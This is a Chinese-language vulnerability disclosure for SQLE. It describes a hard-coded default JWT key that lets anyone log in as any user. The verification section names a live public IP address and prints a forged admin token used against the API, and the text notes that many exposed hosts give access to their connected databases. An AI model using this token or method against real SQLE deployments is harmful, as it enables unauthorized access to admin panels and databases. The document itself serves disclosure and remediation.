SQLE任意用户登录

SQLE任意用户登录

SQLE简介

https://github.com/actiontech/sqle

SQLE由上海爱可生信息技术股份有限公司(以下简称爱可生公司)出品和维护,是爱可生公司“云树SQL审核软件”(简称:CTREE SQLE)软件产品的开源版本。SQLE 是一个支持多场景,原生支持 MySQL 审核且数据库类型可扩展的 SQL 审核工具。

产品特色

  1. 支持SQL审核上线的工单审批流程;
  2. 支持事前事中时候多场景审核;
  3. 支持通过插件的形式扩展可审核上线的数据库类型;
  4. 支持标准的 HTTP API,可与其他内部流程系统对接。

……

漏洞详情

SQLE使用JWT鉴权,但在代码中使用了默认密钥,导致任意用户登录。
https://github.com/actiontech/sqle/blob/ae67491dabea0742db42f835f3d375de2b300e5d/sqle/utils/jwt.go#L8

(使用配置文件管理密钥已在官方的todo列表中,但迟迟未实现,目前公网大量主机受影响,可以登录管理后台后获取添加在SQLE中的公网数据库连接权限以执行任意SQL,参考:https://github.com/xjohjrdy/PyMySQL)

image-20220314164502720

漏洞验证

1
http://47.99.95.27:10000/

默认口令登录失败。

image-20220314164739981

使用JWT工具生成admin账户的万能token。

image-20220314165001119

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwMDAwMDAwMDAsIm5hbWUiOiJhZG1pbiJ9.7b32YVDDffP8qs5b1mwAuKD_wvrj-cNYw6bqVXSk2nk

使用生成的token请求API。

image-20220314165031956

修复建议

  • 使用配置文件配置密钥或安装时随机生成密钥。